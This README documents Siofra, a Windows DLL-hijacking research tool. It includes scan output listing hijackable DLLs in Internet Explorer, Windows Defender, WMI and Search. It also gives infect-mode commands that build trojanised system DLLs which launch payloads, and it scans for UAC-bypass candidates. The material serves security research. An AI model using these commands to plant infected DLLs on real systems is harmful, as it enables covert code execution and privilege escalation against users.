# Summary
Siofra is a tool designed to identify and exploit DLL hijacking vulnerabilities
in Windows programs. It is able to simulate the Windows loader in order to give
visibility into all of the dependencies (and corresponding vulnerabilities) of
a PE on disk, or alternatively an image file in memory corresponding to an active
process. More significantly, the tool has the ability to easily generate DLLs to
exploit these types of vulnerabilities via PE infection with dynamic shellcode creation.
These infected DLLs retain the code (DllMain, exported functions) as well as the
resources of a DLL to seamlessly preserve the functionality of the application loading
them, while at the same time allowing the researcher to specify an executable payload
to be either run as a separate process or loaded into the target as a module. Additionally,
the tool contains automated methods of combining UAC auto-elevation criteria with
the aforementioned functionality in order to scan for UAC bypass vulnerabilities.
# Vulnerabilities
At present, there is a very large number of vulnerabilities which this tool exposes.
While testing this tool I encountered only several applications which were not vulnerable
out of hundreds which I tested against. Note that these vulnerabilities can be exploited
despite SafeDllSearchMode. A common misconception results from confusing the "current
directory" (fixed with SafeDllSearchMode) with the "application directory" (the
folder containing the .exe itself). The vast majority of DLL hijacking vulnerabilities
currently present in Windows programs stem from the application directory (which
comes first in the Windows search order). Several highlights are listed below in
the output produced by the scanner in the tool. The last time these vulnerabilities
were tested was in mid-July 2017.
* Application name: Internet Explorer
* Tested on OS: Windows 10 x64 Home/Pro
* Command/output:
Siofra64.exe --mode file-scan -f "c:\Program Files\Internet Explorer\iexplore.exe"
--enum-dependency --dll-hijack
======== c:\Program Files\Internet Explorer\iexplore.exe [64-bit PE] ========
iexplore.exe
USER32.dll [KnownDLL]
win32u.dll [Base]
api-ms-win-core-privateprofile-l1-1-1.dll [API set]
kernel32.dll [KnownDLL]
GDI32.dll [KnownDLL]
api-ms-win-gdi-internal-uap-l1-1-0.dll [API set]
gdi32full.dll [Base]
msvcp_win.dll [Base]
api-ms-win-crt-string-l1-1-0.dll [API set]
ucrtbase.dll [Base]
msvcrt.dll [KnownDLL]
api-ms-win-downlevel-shell32-l1-1-0.dll [API set]
shcore.dll [KnownDLL]
RPCRT4.dll [KnownDLL]
combase.dll [KnownDLL]
bcryptPrimitives.dll [Base]
ADVAPI32.dll [KnownDLL]
api-ms-win-eventing-controller-l1-1-0.dll [API set]
sechost.dll [KnownDLL]
iertutil.dll [!]
[!] Module iertutil.dll vulnerable at c:\Program Files\Internet Explorer\iertutil.dll
(real path: C:\WINDOWS\system32\iertutil.dll)
* Application name: Windows Defender
* Tested on OS: Windows 10 x64 Home/Pro
* Command/output:
Siofra64.exe --mode file-scan -f "c:\Program Files\Windows Defender\MpCmdRun.exe"
--enum-dependency --dll-hijack
======== c:\Program Files\Windows Defender\MpCmdRun.exe [64-bit PE] ========
MpCmdRun.exe
msvcrt.dll [KnownDLL]
KERNEL32.dll [KnownDLL]
OLEAUT32.dll [KnownDLL]
msvcp_win.dll [Base]
api-ms-win-crt-string-l1-1-0.dll [API set]
ucrtbase.dll [Base]
combase.dll [KnownDLL]
RPCRT4.dll [KnownDLL]
bcryptPrimitives.dll [Base]
ADVAPI32.dll [KnownDLL]
api-ms-win-eventing-controller-l1-1-0.dll [API set]
sechost.dll [KnownDLL]
OLE32.dll [KnownDLL]
GDI32.dll [KnownDLL]
api-ms-win-gdi-internal-uap-l1-1-0.dll [API set]
gdi32full.dll [Base]
USER32.dll [KnownDLL]
win32u.dll [Base]
SspiCli.dll [!]
mpclient.dll [!]
CRYPT32.dll [Base]
MSASN1.dll [Base]
WINTRUST.dll [Base]
[!] Module SspiCli.dll vulnerable at c:\Program Files\Windows Defender\SspiCli.dll
(real path: C:\WINDOWS\system32\SspiCli.dll)
* Application name: WMI
* Tested on OS: Windows 10 x64 Home/Pro
* Command/output:
Siofra64.exe --mode file-scan -f "c:\WINDOWS\System32\wbem\wmiprvse.exe" --enum-dependency
--dll-hijack
======== c:\WINDOWS\System32\wbem\wmiprvse.exe [64-bit PE] ========
wmiprvse.exe
msvcrt.dll [KnownDLL]
FastProx.dll [!]
wbemcomn.dll [!]
bcrypt.dll [!]
WS2_32.dll [KnownDLL]
api-ms-win-eventing-obsolete-l1-1-0.dll [API set]
sechost.dll [KnownDLL]
RPCRT4.dll [KnownDLL]
api-ms-win-core-heap-obsolete-l1-1-0.dll [API set]
kernel32.dll [KnownDLL]
NCObjAPI.DLL [!]
[!] Module wbemcomn.dll vulnerable at c:\WINDOWS\System32\wbem\wbemcomn.dll (real
path: C:\WINDOWS\system32\wbemcomn.dll)
[!] Module bcrypt.dll vulnerable at c:\WINDOWS\System32\wbem\bcrypt.dll (real path:
C:\WINDOWS\system32\bcrypt.dll)
[!] Module NCObjAPI.DLL vulnerable at c:\WINDOWS\System32\wbem\NCObjAPI.DLL (real
path: C:\WINDOWS\system32\NCObjAPI.DLL)
* Application name: Windows Search Indexer/Search Protocol Host
* Tested on OS: Windows 10 x64 Home/Pro
* Command/output:
Siofra64.exe --mode file-scan -f "c:\WINDOWS\System32\SearchProtocolHost.exe" --enum-dependency
--dll-hijack --explicit-loadlibrary
======== c:\WINDOWS\System32\SearchProtocolHost.exe [64-bit PE] ========
SearchProtocolHost.exe
msvcrt.dll [KnownDLL]
TQUERY.DLL [!]
OLEAUT32.dll [KnownDLL]
msvcp_win.dll [Base]
api-ms-win-crt-string-l1-1-0.dll [API set]
ucrtbase.dll [Base]
combase.dll [KnownDLL]
RPCRT4.dll [KnownDLL]
api-ms-win-core-heap-obsolete-l1-1-0.dll [API set]
kernel32.dll [KnownDLL]
bcryptPrimitives.dll [Base]
cryptdll.dll [!]
api-ms-win-security-lsalookup-l2-1-1.dll [API set]
advapi32.dll [KnownDLL]
api-ms-win-eventing-controller-l1-1-0.dll [API set]
sechost.dll [KnownDLL]
api-ms-win-shell-namespace-l1-1-0.dll [API set]
windows.storage.dll [Base]
api-ms-win-shlwapi-winrt-storage-l1-1-1.dll [API set]
shlwapi.dll [KnownDLL]
GDI32.dll [KnownDLL]
api-ms-win-gdi-internal-uap-l1-1-0.dll [API set]
gdi32full.dll [Base]
USER32.dll [KnownDLL]
win32u.dll [Base]
api-ms-win-appmodel-state-l1-2-0.dll [API set]
kernel.appcore.dll [Base]
api-ms-win-shcore-path-l1-1-0.dll [API set]
shcore.dll [KnownDLL]
api-ms-win-power-base-l1-1-0.dll [API set]
powrprof.dll [Base]
profapi.dll [Base]
msfte.dll [Potential explicit Unicode] [!]
msTracer.dll [Potential explicit Unicode] [!]
Msidle.dll [Potential explicit Unicode] [!]
winhttp.dll [Potential explicit Unicode] [!]
[!] Module msfte.dll vulnerable at C:\WINDOWS\system32\msfte.dll (real path: Unknown)
[!] Module msTracer.dll vulnerable at C:\WINDOWS\system32\msTracer.dll (real path:
Unknown)
# Capabilities
The capabilities of this tool can be split into 3 separate categories, each corresponding
to one of the execution modes of this tool.
## Infection mode
When in infection mode, the tool is capable of generating infected copies of both
32 and 64-bit DLL files. These infected files are able to hijack the execution flow
of a target application when they are loaded during process initialization, causing
either a payload DLL to be loaded or a payload executable to be launched prior to
the execution of the target application entry point.
## File scanning mode
When in file scanning mode, the tool may be given either an executable file path
or a folder (which will be searched for executable files, optionally with recursion)
which will recursively have its PE imports, delay load imports, API sets, assembly
dependencies, and explicitly loaded libraries enumerated and processed to determine
the path at which each will be loaded during runtime process initialization. With
this information, the tool is able to identify modules which are vulnerable to hijacking.
During PE processing and loader simulation, the tool is capable of handling:
1. Modules imported using the primary PE imports section.
2. Modules imported via delay load.
3. WinSxS assembly dependency resolution (the PE manifest resource is parsed, assembly
dependency IDs are extracted, and the WinSxS module path is identified using
a custom implementation).
4. Explicitly loaded modules, imported via LoadLibrary at runtime.
5. API set resolution of all of the above import types. This is achieved via a
custom implementation of a parser for the undocumented data structures found in
ApiSetSchema.dll (note that only versions 2, 4 and 6 have been tested).
6. Searching for specific imported modules by name.
7. Identifying Windows components which can be leveraged for UAC bypass attacks
(the UAC auto-elevation criteria are applied to a specified target PE in an
automated way, then used in conjunction with a hijacking attack if one is present).
8. Automatically detect and filter module dependencies which are not
vulnerable on the basis of:
* KnownDLLs
* Exempt ("Base") DLL status. Kernelbase.dll, ntdll.dll, etc.
* Manifest override security mechanism (used by Microsoft in sysprep.exe)
## Memory scanning mode
When in memory scanning mode, the tool can either enumerate local process names/IDs
or it can be given a process ID to scan. Rather than parsing the image file corresponding
to the given PID on disk, the tool will enumerate the modules currently loaded into
the process and identify which of them may be vulnerable to hijacking. This is useful
in instances where an executable on disk is packed/obfuscated and its imports cannot
be identified through parsing the PE header.
# Usage
In order to display the tool usage information, simply run it with no parameters
(output shown below). It is very important to use the appropriate compilation of
the tool (32 or 64-bit) for the desired target depending upon whether it is a 32-bit PE
or 64-bit PE file. Similarly, the 32-bit version of the tool can only enumerate and/or
target 32-bit processes (Wow64 on an x64 OS) and the 64-bit version can only enumerate
and/or target 64-bit processes. This principle applies both to scanning (Siofra64.exe
will skip 32-bit PE and Siofra32.exe will skip 64-bit PE) and to PE infection. Siofra32.exe
should be used to infect 32-bit DLLs and Siofra64.exe should be used to infect 64-bit
DLLs.
When the 32-bit version of the tool is run on x64 systems Wow64 path redirection
is explicitly disabled by the tool, which means that if you were to target \Windows\System32\notepad.exe
it would be a 64-bit PE (and therefore \Windows\Syswow64\notepad.exe should be used instead).
Similarly if you were to target \Program Files\Common Files\microsoft shared\MSInfo\msinfo32.exe
it would be a 64-bit PE, and therefore \Program Files (x86)\Common Files\microsoft shared\MSInfo\msinfo32.exe
should be used instead.
Siofra version 1.13 usage: Siofra32.exe --mode [Supported modes: "file-scan", "mem-scan"
and "infect"] -v [Optional. Output verbosity level]
Verbosity levels:
0 - No output
1 - Only critical success/failure status (default)
2 - Additional status details for success/failure status, including discarded PEs
3 - Everything
File scan mode:
-f [File or directory to scan]
-r [Optional. Recursive scan]
--signed [Optional. Process only signed binaries]
--delayload [Optional. Include delayload imports in dependency list]
--explicit-loadlibrary [Optional. Include potentially explicit imports in
dependency list (these are *.dll strings which may have been called via LoadLibrary(Ex)A/W]
--auto-elevate [Optional. Scan only auto-elevate binaries]
Memory scan mode:
--pid [Target process ID to scan. When not specified, a list of either 32
or 64-bit process names/PIDs will be enumerated (corresponding to either the 32
or 64-bit version of this tool)]
Any scan mode:
--enum-dependency [Enumerate dependencies]
--show-unmapped-apiset [Optional. Include API sets which failed to map to
a module from output (ignored by default)]
--dll-hijack [Enumerate DLL hijacking vulns]
--find-module [Optional. Scan dependencies for a specific module. Note that
this excludes KnownDLLs]
Infect mode:
-f [DLL file to infect]
-o [Output file]
--payload-path [Path of DLL to be loaded into infected DLL at runtime,
or path of executable to be launched at runtime]
--payload-type [The type of payload specified in the parasite payload path.
This can be "process" (generally indicating a exe) or "library" (generally indicating
a DLL)]
## Examples
1. Scanning the entire home drive for 32-bit programs vulnerable to DLL hijacking
using either standard or delay load imports through their PE headers.
Siofra32.exe --mode file-scan -f "C:/" -r --enum-dependency --dll-hijack --delayload
2. Scanning the Windows Defender application folder on an x64 version of Windows
for vulnerable modules loaded through the standard import table in their PE header.
Siofra64.exe --mode file-scan -f "C:\Program Files\Windows Defender" -r --enum-dependency
--dll-hijack
3. Scanning the 32-bit Java Update Scheduler program on an x64 version of Windows
for vulnerable modules loaded through any known channel (standard or delayload imports,
WinSxS, LoadLibrary).
Siofra32.exe --mode file-scan -f "C:\Program Files (x86)\Common Files\Java\Java
Update\jusched.exe" --enum-dependency --dll-hijack --delayload --explicit-loadlibrary
4. Scanning the Windows folder (and all its subfolders) for vulnerable modules
(imported via the standard imports table in the PE header) in 64-bit programs which
could be used for a UAC bypass attack (signed by Microsoft with an auto-elevate
manifest).
Siofra64.exe --mode file-scan -f "C:\Windows" -r --enum-dependency --dll-hijack
--auto-elevate --signed
5. Infecting a 32-bit copy of WININET.dll (copied from \Windows\SysWOW64\WININET.dll
to .\WININET_original.dll) with an implant which will launch a new notepad process
when loaded during process initialization by a vulnerable program. It's important
to note that simply loading an infected copy of this DLL (via LoadLibrary for example)
will not trigger the payload. Infected DLLs are only meant to work in the context
of a vulnerable module loaded via the standard imports section of its host process.
Siofra32.exe --mode infect -f WININET_original.dll -o WININET.dll --payload-type
process --payload-path c:\windows\system32\notepad.exe
6. Infecting a 64-bit copy of USERENV.dll (copied from \Windows\System32\USERENV.dll
to .\USERENV_original.dll) with an implant which will load a hypothetical payload
DLL stored at C:\Payload.dll. It's important to note that all DLLs loaded by a 64-bit
process must be 64-bit DLLs, and all DLLs loaded by a 32-bit process must be 32-bit
DLLs. Therefore in this hypothetical scenario, Payload.dll would need to be a 64-bit PE
file for it to be loaded successfully by the implant in USERENV.dll.
Siofra64.exe --mode infect -f USERENV_original.dll -o USERENV.dll --payload-type
library --payload-path "C:\Payload.dll"
# Future improvements
* 32 and 64-bit versions of the tool to be combined into a single executable.
* Capability to perform PE infections which can successfully load DLL/executable
payloads within infected DLL files loaded explicitly via LoadLibrary or through
delayed imports.
* Support for all API set versions.
# Source code
I've decided to make some of this tool open source to help other security
researchers understand the technical details of this project. Specifically I've
provided assembler source code for one of the 64-bit implant shellcodes (for 64-bit PE
DLL infection when specifying a "process" payload type).
Details surrounding other technical aspects of the tool and OS details related
to the Windows loader/search order, UAC, WinSxS etc. can be found within the
PDF for this project.
# License
Siofra is licensed under the GPL 3 license. See LICENSE.MD for details.
# Contact
Forrest Williams - forrest-RE@protonmail.com / forrest.williams@cybereason.com